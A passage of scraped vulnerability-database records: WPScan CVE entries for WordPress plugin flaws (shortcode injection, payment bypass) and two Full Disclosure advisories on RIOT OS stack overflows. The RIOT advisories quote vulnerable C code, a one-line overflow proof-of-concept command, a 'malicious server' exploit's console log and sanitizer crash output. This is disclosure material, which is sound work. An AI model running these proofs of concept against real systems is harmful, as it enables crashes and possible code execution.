}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T15:23:41.750Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://wordpress.org/plugins",
"defaultStatus": "unaffected",
"product": "Contact Form 7 Captcha",
"vendor": "Unknown",
"versions": [
{
"lessThan": "0.1.9",
"status": "affected",
"version": "0.1.7",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jakub Herman"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Contact Form 7 Captcha WordPress plugin before 0.1.9 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T06:25:07.194Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/e791e4a6-5ec1-49c7-9448-1d83ec4f4905/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Contact Form 7 Captcha 0.1.7 - 0.1.8 - Unauthenticated Arbitrary Shortcode Execution via Form Field Repopulation",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-85117",
"datePublished": "2026-09-09T06:25:07.194Z",
"dateReserved": "2026-09-03T07:55:26.694Z",
"dateUpdated": "2026-09-09T15:23:41.750Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-83537 (GCVE-0-2026-83537)
Vulnerability from cvelistv5 – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23
VLAI
EPSS
VEX
Title
WP Express Checkout < 2.5.0 - Unauthenticated Payment Bypass via wpec_process_empty_payment
Summary
The WP Express Checkout WordPress plugin before 2.5.0 does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 15:22 UTC
CWE
- CWE-345 Insufficient Verification of Data Authenticity
- CWE-345 - Insufficient Verification of Data Authenticity
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/02b39e4f-181d-45… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | WP Express Checkout |
Affected:
0 , < 2.5.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-83537",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T15:22:16.966066Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-345",
"description": "CWE-345 Insufficient Verification of Data Authenticity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T15:23:34.131Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://wordpress.org/plugins",
"defaultStatus": "unaffected",
"product": "WP Express Checkout",
"vendor": "Unknown",
"versions": [
{
"lessThan": "2.5.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "ryan zegar"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The WP Express Checkout WordPress plugin before 2.5.0 does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-345 Insufficient Verification of Data Authenticity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T06:25:06.539Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/02b39e4f-181d-4573-9175-bf5a6d71e531/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "WP Express Checkout \u003c 2.5.0 - Unauthenticated Payment Bypass via wpec_process_empty_payment",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-83537",
"datePublished": "2026-09-09T06:25:06.539Z",
"dateReserved": "2026-08-31T17:01:05.328Z",
"dateUpdated": "2026-09-09T15:23:34.131Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-80440 (GCVE-0-2026-80440)
Vulnerability from cvelistv5 – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23
VLAI
EPSS
VEX
Title
Hustle < 7.8.14.2 - Unauthenticated Arbitrary Shortcode Execution via Success Message Placeholders
Summary
The Hustle WordPress plugin before 7.8.14.2 does not prevent shortcodes in submitted form values from being executed when it substitutes those values into the message it returns after submission, because the guard it applies can be defeated by nesting, allowing unauthenticated users to run any shortcode registered on the site.
Severity
4.8 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 15:22 UTC
CWE
- CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
- CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/7b86b462-e021-49… | exploitvdb-entrytechnical-description |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-80440",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T15:22:21.634590Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T15:23:25.033Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://wordpress.org/plugins",
"defaultStatus": "unaffected",
"product": "Hustle",
"vendor": "Unknown",
"versions": [
{
"lessThan": "7.8.14.2",
"status": "affected",
"version": "7.0.0.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jakub Herman"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Hustle WordPress plugin before 7.8.14.2 does not prevent shortcodes in submitted form values from being executed when it substitutes those values into the message it returns after submission, because the guard it applies can be defeated by nesting, allowing unauthenticated users to run any shortcode registered on the site."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T06:25:05.901Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/7b86b462-e021-4906-bbf3-bf83f89a03ee/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Hustle \u003c 7.8.14.2 - Unauthenticated Arbitrary Shortcode Execution via Success Message Placeholders",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-80440",
"datePublished": "2026-09-09T06:25:05.901Z",
"dateReserved": "2026-08-26T11:10:10.203Z",
"dateUpdated": "2026-09-09T15:23:25.033Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-19855 (GCVE-0-2026-19855)
Vulnerability from cvelistv5 – Published: 2026-09-09 06:25 – Updated: 2026-09-09 15:23
VLAI
EPSS
VEX
Title
Spam protection, Honeypot, Anti-Spam by CleanTalk < 6.87 - Unauthenticated Arbitrary Shortcode Execution via Comment Text
Summary
The CleanTalk WordPress plugin before 6.87 does not prevent unauthenticated, user-supplied comment content from being passed to WordPress's shortcode engine, allowing any visitor to have arbitrary shortcodes registered on the site executed server-side and rendered to every subsequent visitor of the page.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 15:22 UTC
CWE
- CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
- CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/c27f3657-261a-46… | exploitvdb-entrytechnical-description |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-19855",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-09T15:22:26.851558Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T15:23:18.450Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://wordpress.org/plugins",
"defaultStatus": "unaffected",
"product": "CleanTalk",
"vendor": "Unknown",
"versions": [
{
"lessThan": "6.87",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jakub Herman"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The CleanTalk WordPress plugin before 6.87 does not prevent unauthenticated, user-supplied comment content from being passed to WordPress\u0027s shortcode engine, allowing any visitor to have arbitrary shortcodes registered on the site executed server-side and rendered to every subsequent visitor of the page."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T06:25:05.235Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/c27f3657-261a-46cd-860c-0bdf5c849190/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Spam protection, Honeypot, Anti-Spam by CleanTalk \u003c 6.87 - Unauthenticated Arbitrary Shortcode Execution via Comment Text",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-19855",
"datePublished": "2026-09-09T06:25:05.235Z",
"dateReserved": "2026-08-14T09:43:54.757Z",
"dateUpdated": "2026-09-09T15:23:18.450Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0317
Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
EPSS
VEX
Title
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction
Summary
A stack-based buffer overflow vulnerability exists in the tapslip6 utility
distributed with RIOT OS (and derived from the legacy uIP/Contiki
networking tools). The vulnerability is caused by unsafe string
concatenation in the devopen() function, which constructs a device path
using unbounded user-controlled input.
Specifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed
prefix "/dev/" with a user-supplied device name provided via the -s
command-line option. No bounds checking is performed, allowing an attacker
to supply an excessively long device name and overflow a fixed-size stack
buffer. This issue can lead to process crashes and memory corruption. While
exploitation requires local access, the affected utility is commonly
executed with elevated privileges during development, testing, or
deployment of RIOT OS networking environments, increasing impact.
*Root Cause:*int devopen(const char *dev, int flags)
{
char t[1024];
strcpy(t, "/dev/");
strcat(t, dev);
return open(t, flags);
}
*Impact:*
- Stack-based buffer overflow
- Process termination (Denial of Service)
- Memory corruption
*Proof of Concept:*./tapslip6 -s $(python3 - << 'EOF'
print("A"*3000)
EOF
) 10.0.0.1 255.255.255.0
*Output:*=================================================================
==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0
WRITE of size 3001 at 0xfbffa6001140 thread T0
#0 0xaaaab3e609a0 in strcat
(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)
#1 0xaaaab3ec04f0 in devopen
/root/RIOT/dist/tools/tunslip/tapslip6.c:420:5
#2 0xaaaab3ec04f0 in main
/root/RIOT/dist/tools/tunslip/tapslip6.c:629:18
#3 0xffffa7a42598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3
#5 0xaaaab3dd73ec in _start
(/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)
Address 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in
frame
#0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543
SUMMARY: AddressSanitizer: stack-buffer-overflow
(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jan/15 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Relationships
analysis
GCVE-1988-2026-0317 (this record)
- possibly related CVE-2021-27427
{
"containers": {
"cna": {
"affected": [
{
"product": "RIOT OS",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "A stack-based buffer overflow vulnerability exists in the tapslip6 utility\ndistributed with RIOT OS (and derived from the legacy uIP/Contiki\nnetworking tools). The vulnerability is caused by unsafe string\nconcatenation in the devopen() function, which constructs a device path\nusing unbounded user-controlled input.\nSpecifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed\nprefix \"/dev/\" with a user-supplied device name provided via the -s\ncommand-line option. No bounds checking is performed, allowing an attacker\nto supply an excessively long device name and overflow a fixed-size stack\nbuffer. This issue can lead to process crashes and memory corruption. While\nexploitation requires local access, the affected utility is commonly\nexecuted with elevated privileges during development, testing, or\ndeployment of RIOT OS networking environments, increasing impact.\n\n\n\n*Root Cause:*int devopen(const char *dev, int flags)\n{\n char t[1024];\n strcpy(t, \"/dev/\");\n strcat(t, dev);\n return open(t, flags);\n}\n\n*Impact:*\n\n - Stack-based buffer overflow\n - Process termination (Denial of Service)\n - Memory corruption\n\n\n\n\n*Proof of Concept:*./tapslip6 -s $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\"*3000)\nEOF\n) 10.0.0.1 255.255.255.0\n\n\n\n*Output:*=================================================================\n==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0\nWRITE of size 3001 at 0xfbffa6001140 thread T0\n #0 0xaaaab3e609a0 in strcat\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n #1 0xaaaab3ec04f0 in devopen\n/root/RIOT/dist/tools/tunslip/tapslip6.c:420:5\n #2 0xaaaab3ec04f0 in main\n/root/RIOT/dist/tools/tunslip/tapslip6.c:629:18\n #3 0xffffa7a42598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3\n #5 0xaaaab3dd73ec in _start\n(/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n\nAddress 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in\nframe\n #0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543\n\nSUMMARY: AddressSanitizer: stack-buffer-overflow\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:42:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/15"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/15"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/15"
],
"discovery": "EXTERNAL"
},
"title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2021-27427",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0317",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/15",
"automated": true,
"contentSha256": "8c077fa2184f92c4a9ea9ea71d6967479a85d54ed3995a81392242f5423afcc0",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/15",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-08T15:42:45Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0317"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-09T13:42:56Z",
"dateUpdated": "2026-09-09T13:42:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0317"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0316
Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
EPSS
VEX
Title
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser
Summary
A stack-based buffer overflow vulnerability exists in the RIOT OS ethos
utility due to missing bounds checking when processing incoming serial
frame data. The vulnerability occurs in the _handle_char() function, where
incoming frame bytes are appended to a fixed-size stack buffer
(serial->frame) without verifying that the current write index
(serial->framebytes) remains within bounds. An attacker capable of sending
crafted serial or TCP-framed input can cause serial->framebytes to exceed
the buffer size (MTU, 9000 bytes), resulting in a write past the end of the
stack buffer. This condition leads to memory corruption, application crash,
and potentially arbitrary code execution depending on compiler options and
runtime protections.
*Vulnerable Code:*
static void _handle_char(serial_t *serial, char c)
{
serial->frame[serial->framebytes] = c;
serial->framebytes++;
}
*Root Cause:*
* serial->frame is a fixed-size stack buffer (char frame[MTU])
* serial->framebytes is unbounded and attacker-controlled
* No validation against MTU before writing
*Proof of Concept:*
*listener:*# python3 payload.py
This exploit acts as a MALICIOUS SERVER.
Run ethos like: ./ethos tap0 tcp:127.0.0.1 20000
The exploit will send the payload when ethos connects.
[*] Starting malicious server on 0.0.0.0:20000
[*] Architecture: aarch64
[*] Exploitation mode: crash
[+] Server listening on 0.0.0.0:20000
[!] Waiting for ethos to connect...
[*] Run ethos like this:
./ethos tap0 tcp:127.0.0.1 20000
[+] ethos client connected from ('127.0.0.1', 37114)
[*] Generating crash payload...
[+] Crash payload ready: 9501 bytes
[*] Waiting 1 second before sending payload...
[*] Sending malicious payload (9501 bytes)...
[*] Sent 1024/9501 bytes...
[*] Sent 2048/9501 bytes...
[*] Sent 3072/9501 bytes...
[*] Sent 4096/9501 bytes...
[*] Sent 5120/9501 bytes...
[*] Sent 6144/9501 bytes...
[*] Sent 7168/9501 bytes...
[*] Sent 8192/9501 bytes...
[*] Sent 9216/9501 bytes...
[*] Sent 9501/9501 bytes...
[+] Payload sent successfully!
[!] ethos client should crash now (check for ASAN output)
[*] Received response:
b'~}"\x00\x00\x00\x00\x00\x00~~}"\x00\x00\x00\x00\x00\x00~'
[*] Connection from ('127.0.0.1', 37114) closed
*Connection:*
./ethos tap0 tcp:127.0.0.1 20000
*Output:*----> ethos: sending hello.
----> ethos: activating serial pass through.
ethos.c:186:5: runtime error: index 9000 out of bounds for type 'char[9000]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5
=================================================================
==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418
WRITE of size 1 at 0xfbff8f804848 thread T0
#0 0xaaaae0b9facc in _handle_char
/root/RIOT/dist/tools/ethos/ethos.c:186:39
#1 0xaaaae0b9ed38 in _serial_handle_byte
/root/RIOT/dist/tools/ethos/ethos.c:216:17
#2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34
#3 0xffff91162598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3
#5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)
(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jan/16 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Relationships
analysis
GCVE-1988-2026-0316 (this record)
- possibly related CVE-2021-27427
{
"containers": {
"cna": {
"affected": [
{
"product": "RIOT OS",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "A stack-based buffer overflow vulnerability exists in the RIOT OS ethos\nutility due to missing bounds checking when processing incoming serial\nframe data. The vulnerability occurs in the _handle_char() function, where\nincoming frame bytes are appended to a fixed-size stack buffer\n(serial-\u003eframe) without verifying that the current write index\n(serial-\u003eframebytes) remains within bounds. An attacker capable of sending\ncrafted serial or TCP-framed input can cause serial-\u003eframebytes to exceed\nthe buffer size (MTU, 9000 bytes), resulting in a write past the end of the\nstack buffer. This condition leads to memory corruption, application crash,\nand potentially arbitrary code execution depending on compiler options and\nruntime protections.\n\n\n*Vulnerable Code:*\nstatic void _handle_char(serial_t *serial, char c)\n{\n serial-\u003eframe[serial-\u003eframebytes] = c;\n serial-\u003eframebytes++;\n}\n\n*Root Cause:*\n\n* serial-\u003eframe is a fixed-size stack buffer (char frame[MTU])\n* serial-\u003eframebytes is unbounded and attacker-controlled\n* No validation against MTU before writing\n\n\n\n*Proof of Concept:*\n\n\n*listener:*# python3 payload.py\n\nThis exploit acts as a MALICIOUS SERVER.\nRun ethos like: ./ethos tap0 tcp:127.0.0.1 20000\nThe exploit will send the payload when ethos connects.\n\n\n[*] Starting malicious server on 0.0.0.0:20000\n[*] Architecture: aarch64\n[*] Exploitation mode: crash\n\n[+] Server listening on 0.0.0.0:20000\n\n[!] Waiting for ethos to connect...\n[*] Run ethos like this:\n ./ethos tap0 tcp:127.0.0.1 20000\n\n[+] ethos client connected from (\u0027127.0.0.1\u0027, 37114)\n[*] Generating crash payload...\n[+] Crash payload ready: 9501 bytes\n[*] Waiting 1 second before sending payload...\n[*] Sending malicious payload (9501 bytes)...\n[*] Sent 1024/9501 bytes...\n[*] Sent 2048/9501 bytes...\n[*] Sent 3072/9501 bytes...\n[*] Sent 4096/9501 bytes...\n[*] Sent 5120/9501 bytes...\n[*] Sent 6144/9501 bytes...\n[*] Sent 7168/9501 bytes...\n[*] Sent 8192/9501 bytes...\n[*] Sent 9216/9501 bytes...\n[*] Sent 9501/9501 bytes...\n[+] Payload sent successfully!\n[!] ethos client should crash now (check for ASAN output)\n[*] Received response:\nb\u0027~}\"\\x00\\x00\\x00\\x00\\x00\\x00~~}\"\\x00\\x00\\x00\\x00\\x00\\x00~\u0027\n[*] Connection from (\u0027127.0.0.1\u0027, 37114) closed\n\n\n\n*Connection:*\n./ethos tap0 tcp:127.0.0.1 20000\n\n\n\n*Output:*----\u003e ethos: sending hello.\n----\u003e ethos: activating serial pass through.\nethos.c:186:5: runtime error: index 9000 out of bounds for type \u0027char[9000]\u0027\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5\n=================================================================\n==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418\nWRITE of size 1 at 0xfbff8f804848 thread T0\n #0 0xaaaae0b9facc in _handle_char\n/root/RIOT/dist/tools/ethos/ethos.c:186:39\n #1 0xaaaae0b9ed38 in _serial_handle_byte\n/root/RIOT/dist/tools/ethos/ethos.c:216:17\n #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34\n #3 0xffff91162598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3\n #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)\n(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:42:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
